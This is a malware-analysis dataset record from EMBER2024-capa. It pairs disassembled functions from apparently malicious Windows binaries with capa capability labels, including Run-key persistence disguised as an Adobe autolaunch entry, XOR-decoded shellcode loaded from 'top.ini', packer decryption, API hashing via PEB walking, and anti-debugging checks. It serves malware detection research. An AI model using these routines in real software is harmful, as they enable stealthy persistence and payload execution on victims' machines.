joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001c27
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x38], eax
movaps xmm0, xmmword [0x10015e30]
lea eax, [esp]
push ebx
push esi
mov esi, ecx
mov dword [esp + 0x1c], 0x65686372
xor ebx, ebx
mov dword [esp + 0x20], 0x632e7061
movups xmmword [esp + 0xc], xmm0
lea edx, [esp + 0xc]
mov word [esp + 0x24], 0x6d6f
movaps xmm0, xmmword [str.formainserverchewww.formainserve]
push edi
push eax
mov dword [esi + 0x6c0], ebx
mov byte [esp + 0x2e], bl
movups xmmword [esp + 0x30], xmm0
mov dword [esp + 0x40], 0x632e7061
mov word [esp + 0x44], 0x6d6f
mov byte [esp + 0x46], bl
mov dword [esi + 0x6c4], ebx
mov dword [esp + 0x10], ebx
call fcn.10003075
pop ecx
push 2
pop edi
test eax, eax
je 0x10001cdc
mov eax, dword [esi + 0x6c4]
lea ecx, [eax + 0x62]
add ecx, ecx
inc eax
mov dword [esi + 0x6c4], eax
mov eax, dword [esp + 0xc]
mov word [esp + 0xc], 0xbb01
mov dword [esi + ecx*8 + 4], eax
mov ax, word [esp + 0xc]
mov word [esi + ecx*8], di
mov word [esi + ecx*8 + 2], ax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], ebx
push eax
lea edx, [esp + 0x30]
mov ecx, esi
call fcn.10003075
pop ecx
test eax, eax
je 0x10001d24
mov eax, dword [esi + 0x6c4]
lea ecx, [eax + 0x62]
add ecx, ecx
inc eax
mov dword [esi + 0x6c4], eax
mov eax, dword [esp + 0xc]
mov word [esp + 0xc], 0xbb01
mov dword [esi + ecx*8 + 4], eax
mov ax, word [esp + 0xc]
mov word [esi + ecx*8], di
mov word [esi + ecx*8 + 2], ax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], ebx
push eax
lea edx, [esp + 0x14]
mov ecx, esi
call fcn.10003075
pop ecx
test eax, eax
je 0x10001d6c
mov eax, dword [esi + 0x6c4]
lea ecx, [eax + 0x62]
add ecx, ecx
inc eax
mov dword [esi + 0x6c4], eax
mov eax, dword [esp + 0xc]
mov word [esp + 0xc], 0xbb01
mov dword [esi + ecx*8 + 4], eax
mov ax, word [esp + 0xc]
mov word [esi + ecx*8], di
mov word [esi + ecx*8 + 2], ax
lea eax, [esp + 0xc]
mov dword [esp + 0xc], ebx
push eax
lea edx, [esp + 0x30]
mov ecx, esi
call fcn.10003075
pop ecx
test eax, eax
je 0x10001db4
mov eax, dword [esi + 0x6c4]
lea ecx, [eax + 0x62]
add ecx, ecx
inc eax
mov dword [esi + 0x6c4], eax
mov eax, dword [esp + 0xc]
mov word [esp + 0xc], 0xbb01
mov dword [esi + ecx*8 + 4], eax
mov ax, word [esp + 0xc]
mov word [esi + ecx*8], di
mov word [esi + ecx*8 + 2], ax
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10004434
mov esp, ebp
pop ebp
ret
Function at 0x1000209a
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, ecx
mov dword [ebp - 0x18], edx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x10], ebx
mov eax, dword [ebx + 0x3c]
mov esi, edx
mov edi, dword [eax + ebx + 0x78]
mov ecx, dword [eax + ebx + 0x50]
add edi, ebx
mov eax, dword [eax + ebx + 0x7c]
add ecx, ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0xc], ecx
mov eax, dword [edi + 0x24]
mov ecx, dword [edi + 0x20]
add eax, ebx
mov dword [ebp - 0x20], eax
add ecx, ebx
mov eax, dword [edi + 0x1c]
add eax, ebx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x24], eax
cmp dword [edi + 0x14], edx
jbe 0x10002145
mov ecx, dword [ecx + esi*4]
add ecx, ebx
lea eax, [ecx + 0xdc]
cmp dword [ebp - 0xc], eax
jbe 0x1000212b
mov bl, byte [ecx]
mov eax, edx
mov byte [ebp - 1], bl
test bl, bl
mov ebx, dword [ebp - 0x10]
je 0x10002126
mov edi, eax
mov al, byte [ebp - 1]
imul edi, edi, 0xc85e31
movsx eax, al
add edi, eax
inc ecx
mov al, byte [ecx]
test al, al
jne 0x1000210b
mov dword [ebp - 8], edi
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x18]
je 0x10002136
inc esi
cmp esi, dword [edi + 0x14]
jae 0x10002145
mov ecx, dword [ebp - 0x1c]
jmp 0x100020e8
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
movzx eax, word [eax + esi*2]
mov edx, dword [edx + eax*4]
add edx, ebx
cmp edx, edi
jb 0x10002155
mov ecx, dword [ebp - 0x28]
xor eax, eax
add ecx, edi
cmp edx, ecx
cmovb edx, eax
pop edi
pop esi
mov eax, edx
pop ebx
leave
ret

Function at 0x100021d8
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword fs:[0x30]
push ebx
push esi
push edi
mov eax, dword [eax + 0xc]
xor esi, esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x14], ecx
mov edi, dword [eax + 0x14]
mov edx, dword [edi + 4]
mov dword [ebp - 0x10], edx
jmp 0x10002253
cmp word [edi + 0x24], 0x30
ja 0x10002251
mov eax, dword [edi + 0x28]
mov ecx, esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], esi
cmp word [eax], si
je 0x10002247
mov edi, eax
mov bl, byte [edi]
lea edi, [edi + 2]
lea eax, [ebx + 0x20]
lea edx, [ebx - 0x41]
movzx ecx, al
cmp dl, 0x19
movzx eax, bl
cmova ecx, eax
imul eax, dword [ebp - 4], 0xc85e31
movsx ecx, cl
add ecx, eax
mov dword [ebp - 4], ecx
cmp word [edi], si
jne 0x10002216
mov edi, dword [ebp - 8]
mov edx, dword [ebp - 0x10]
cmp ecx, dword [ebp - 0x14]
je 0x10002268
cmp dword [edi + 0x10], esi
je 0x1000225c
mov edi, dword [edi]
mov dword [ebp - 8], edi
cmp edi, edx
jne 0x100021fd
jmp 0x1000226b
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov esi, dword [edi + 0x10]
mov ebx, dword [ebp + 0xc]
mov dword [ebx], esi
test esi, esi
je 0x10002261
mov edx, dword [ebp + 8]
mov ecx, esi
call fcn.1000209a
mov edx, dword [ebp + 0x14]
mov dword [edx], eax
test eax, eax
je 0x10002261
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebx]
push eax
call fcn.1000215c
mov edx, eax
xor eax, eax
pop ecx
mov ecx, dword [ebp + 0x10]
test edx, edx
setne al
mov dword [ecx], edx
jmp 0x10002263
Function at 0x100031f9
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
push ebx
mov ebx, eax
mov dword [ebp - 0x3c], eax
lea ecx, [ebx + 1]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x10003214
push esi
push edi
push 0xb
sub ebx, ecx
and dword [ebp - 0x38], 0
pop ecx
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea edi, [ebp - 0x34]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x38]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x34]
movsw word es:[edi], word [esi]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop edi
pop esi
test eax, eax
jne 0x10003270
push ebx
push dword [ebp - 0x3c]
push 1
push eax
push str.AdobeAutoLaunch_A0092BE4ED4DC2B1B1C1CD262F233F
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
inc eax
pop ebx
call fcn.10004434
leave
ret
Function at 0x100038bd
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
lea eax, [ebp - 4]
mov esi, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
test edi, edi
je 0x10003934
cmp dword [ebp - 4], 2
jne 0x10003934
mov edx, dword [edi + 4]
mov ecx, edx
lea ebx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x100038eb
sub ecx, ebx
mov ebx, esi
sar ecx, 1
cmp dword [esi + 0x14], 8
jb 0x10003904
mov ebx, dword [esi]
mov esi, dword [esi + 0x10]
cmp esi, ecx
jne 0x1000392d
test esi, esi
je 0x10003922
sub ebx, edx
mov ax, word [ebx + edx]
cmp ax, word [edx]
jne 0x1000392d
add edx, 2
sub esi, 1
jne 0x10003911
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov al, 1
jmp 0x10003936
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000a621
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000a6be
push ebx
push esi
call fcn.1000a5ea
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000a533
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000a66b
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000a6bd
push edi
push eax
call fcn.10008fe8
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000a68b
call fcn.10009036
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000a6bc
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000a533
add esp, 0x20
test eax, eax
jne 0x1000a6aa
push edi
call fcn.10009036
jmp 0x1000a6b2
push ebx
call fcn.10009036
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1000a929
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100129b8
push 0x100129b0
push str.FlsAlloc
push 0x1e
call fcn.1000a847
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000a95d
push dword [ebp + 8]
mov ecx, esi
call dword [0x10011130]
call esi
jmp 0x1000a963
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1000a9a7
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100129c8
push 0x100129c0
push str.FlsGetValue
push 0x20
call fcn.1000a847
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1000a9de
push dword [ebp + 8]
mov ecx, esi
call dword [0x10011130]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x1000ff00
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000ff2d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000ff2d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000127a
push esi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], esi
jbe 0x10001278
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10

Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x4ec572de
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, str.:D_
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x447a3ed8
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x100019f0
Capabilities:
Check for debugger via api
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x1006f014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0xc], 0
call fcn.10001950
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
test eax, eax
jne 0x10001af8
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [ebp - 8], 0
jne 0x10001af8
movaps xmm0, xmmword [0x10066ab0]
xor eax, eax
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0x251b1a1c
mov dword [ebp - 0x24], 0x10161a07
mov word [ebp - 0x20], 0x606
mov byte [ebp - 0x1e], 0
nop
mov cl, byte [ebp - 0x38]
xor byte [ebp + eax - 0x37], cl
inc eax
cmp eax, 0x19
jb 0x10001a60
push ebx
mov byte [ebp - 0x1c], 0x2c
mov al, 0x42
xor al, byte [ebp - 0x1c]
mov bl, 0x40
mov ah, bl
mov byte [ebp - 0x1b], al
mov al, byte [ebp - 0x1c]
mov dl, 0x48
mov bh, ah
mov byte [ebp - 0xd], ah
xor bl, al
mov byte [ebp - 0x12], 0
xor ah, al
mov byte [ebp - 0x1e], 0
xor bh, al
mov byte [ebp - 0x17], ah
mov dh, dl
mov byte [ebp - 0x18], bl
xor dl, al
mov byte [ebp - 0x14], bh
xor dh, al
mov byte [ebp - 0x19], dl
mov cl, 0x58
mov byte [ebp - 0x15], dh
xor cl, al
mov byte [ebp - 0x12], 0
mov ch, 2
mov byte [ebp - 0x1a], cl
xor ch, al
mov al, byte [ebp - 0xd]
xor al, byte [ebp - 0x1c]
mov byte [ebp - 0x13], al
lea eax, [ebp - 0x37]
push eax
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x16], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop ebx
test eax, eax
je 0x10001b0b
push 0
push 4
lea ecx, [ebp - 0xc]
push ecx
push 7
push 0xffffffffffffffff
call eax
test eax, eax
je 0x10001b0b
cmp dword [ebp - 0xc], 0
je 0x10001b0b
push 9
call esi
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10054720
mov esp, ebp
pop ebp
ret

Function at 0x10001b20
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
movaps xmm0, xmmword [0x100677c0]
xor ecx, ecx
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x657f5375
mov dword [ebp - 0x18], 0x6275647e
mov byte [ebp - 0x14], 0
mov al, byte [ebp - 0x2c]
xor byte [ebp + ecx - 0x2b], al
inc ecx
cmp ecx, 0x17
jb 0x10001b45
mov byte [ebp - 0x14], 0
mov cl, 0x6f
mov dword [ebp - 0x10], 0x1d0a046f
xor eax, eax
mov dword [ebp - 0xc], 0x5c030a01
mov dword [ebp - 8], 0x30b415d
mov word [ebp - 4], 3
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 0xc
jae 0x10001b84
mov cl, byte [ebp - 0x10]
jmp 0x10001b75
lea eax, [ebp - 0x2b]
mov byte [ebp - 3], 0
push eax
lea eax, [ebp - 0xf]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.10010f30
cmp al, 0xe9
jne 0x10001bbf
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x10001bd0
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov cl, 2
mov dword [ebp - 0x10], 0x6f6b7602
mov dword [ebp - 0xc], 0x76674567
xor eax, eax
mov dword [ebp - 8], 0x676f6b56
mov byte [ebp - 4], 0
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 0xb
jae 0x10001c02
mov cl, byte [ebp - 0x10]
jmp 0x10001bf3
mov byte [ebp - 4], 0
mov cl, 0x59
mov dword [ebp - 0x20], 0x2b3c3259
xor eax, eax
mov dword [ebp - 0x1c], 0x6a353c37
mov dword [ebp - 0x18], 0x353d776b
mov word [ebp - 0x14], 0x35
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 0xc
jae 0x10001c34
mov cl, byte [ebp - 0x20]
jmp 0x10001c25
lea eax, [ebp - 0xf]
mov byte [ebp - 0x13], 0
push eax
lea eax, [ebp - 0x1f]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.10010f30
cmp al, 0xe9
jne 0x10001c6f
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x10001c80
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov cl, 0x1a
mov dword [ebp - 0x10], 0x6e7f5d1a
mov dword [ebp - 0xc], 0x7179734e
xor eax, eax
mov dword [ebp - 8], 0x746f7559
mov word [ebp - 4], 0x6e
xor byte [ebp + eax - 0xf], cl
inc eax
cmp eax, 0xc
jae 0x10001cb4
mov cl, byte [ebp - 0x10]
jmp 0x10001ca5
mov byte [ebp - 3], 0
mov cl, 0x33
mov dword [ebp - 0x20], 0x41565833
xor eax, eax
mov dword [ebp - 0x1c], 0x5f565d
mov dword [ebp - 0x18], 0x5f571d01
mov word [ebp - 0x14], 0x5f
xor byte [ebp + eax - 0x1f], cl
inc eax
cmp eax, 0xc
jae 0x10001ce6
mov cl, byte [ebp - 0x20]
jmp 0x10001cd7
lea eax, [ebp - 0xf]
mov byte [ebp - 0x13], 0
push eax
lea eax, [ebp - 0x1f]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
call fcn.10010f30
cmp al, 0xe9
jne 0x10001d21
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x10001d30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x1006f014]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [str._fe]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
nop dword [eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0xe
jb 0x10001d50
mov byte [ebp - 0x19], 0
mov cl, 0x40
mov dword [ebp - 0x18], 0x12050b40
xor eax, eax
mov dword [ebp - 0x14], 0x730c050e
mov dword [ebp - 0x10], 0x2c246e72
mov word [ebp - 0xc], 0x2c
xor byte [ebp + eax - 0x17], cl
inc eax
cmp eax, 0xc
jae 0x10001d8f
mov cl, byte [ebp - 0x18]
jmp 0x10001d80
lea eax, [ebp - 0x27]
mov byte [ebp - 0xb], 0
push eax
lea eax, [ebp - 0x17]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 1
lea ecx, [ebp - 5]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
cmp byte [ebp - 5], 0xe9
mov ecx, dword [ebp - 4]
sete al
xor ecx, ebp
call fcn.10054720
mov esp, ebp
pop ebp
ret

Function at 0x10001de0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10068e60
push 0x100551c5
mov eax, dword fs:[0]
push eax
add esp, 0xffffffc0
mov eax, dword [0x1006f014]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x48], 0
xor eax, eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push 0x40
push 0x3000
mov edx, dword [ebp - 0x44]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x10001e79
xor al, al
jmp 0x10001f02
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov byte [ecx], 0xc3
lea edx, [ebp - 0x20]
push edx
push 0x140
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x10001ea4
xor al, al
jmp 0x10001f02
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x24]
push 0x10001eef
jmp eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10054720
mov esp, ebp
pop ebp
ret
Function at 0x10002010
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
movaps xmm0, xmmword [0x10067270]
xor ecx, ecx
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0x48427b40
mov dword [ebp - 8], 0x5f4d406f
mov word [ebp - 4], 0x5f
mov al, byte [ebp - 0x1c]
xor byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0x18
jb 0x10002037
push 0
lea eax, [ebp - 0x1b]
mov byte [ebp - 3], 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x1000206f
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x10002080
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1006f014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x1000
push 0x40
mov dword [ebp - 8], 0x1000
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
lea eax, [ebp - 8]
push eax
push esi
push 0x250000
call dword [sym.imp.MPR.dll_WNetGetProviderNameA]
test eax, eax
jne 0x10002117
movaps xmm0, xmmword [0x10066bb0]
xor ecx, ecx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x33551110
mov dword [ebp - 0x10], 0x1011191a
mov word [ebp - 0xc], 0x607
mov byte [ebp - 0xa], al
nop
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x19
jb 0x100020e0
lea eax, [ebp - 0x23]
mov byte [ebp - 0xa], 0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10002117
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.10054720
mov esp, ebp
pop ebp
ret
Function at 0x100026c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movaps xmm0, xmmword [0x10067750]
xor ecx, ecx
movups xmmword [ebp - 0x14], xmm0
mov word [ebp - 4], 0x7678
mov byte [ebp - 2], 0
nop dword [eax]
mov al, byte [ebp - 0x14]
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0x11
jb 0x100026e0
lea eax, [ebp - 0x13]
mov byte [ebp - 2], 0
push eax
call fcn.10002b00
cmp eax, 0xba2d38a3
je 0x10002707
xor al, al
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x10066a50]
xor ecx, ecx
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x14]
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0xe
jb 0x10002714
lea eax, [ebp - 0x13]
mov byte [ebp - 5], 0
push eax
call fcn.10002b00
cmp eax, 0x27b35bb1
sete al
mov esp, ebp
pop ebp
ret